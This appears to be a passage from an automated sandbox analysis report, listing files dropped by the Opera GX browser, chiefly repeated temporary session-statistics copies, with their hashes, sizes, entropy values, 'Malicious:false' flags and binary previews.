                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df36f.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df37f.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df39e.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df3ae.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df3bd.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df3dd.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df3ec.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df41b.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df43a.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df44a.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df479.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df488.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df4a8.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df4b7.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df4c7.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df4d7.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Sync Data\LevelDB\000001.dbtmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
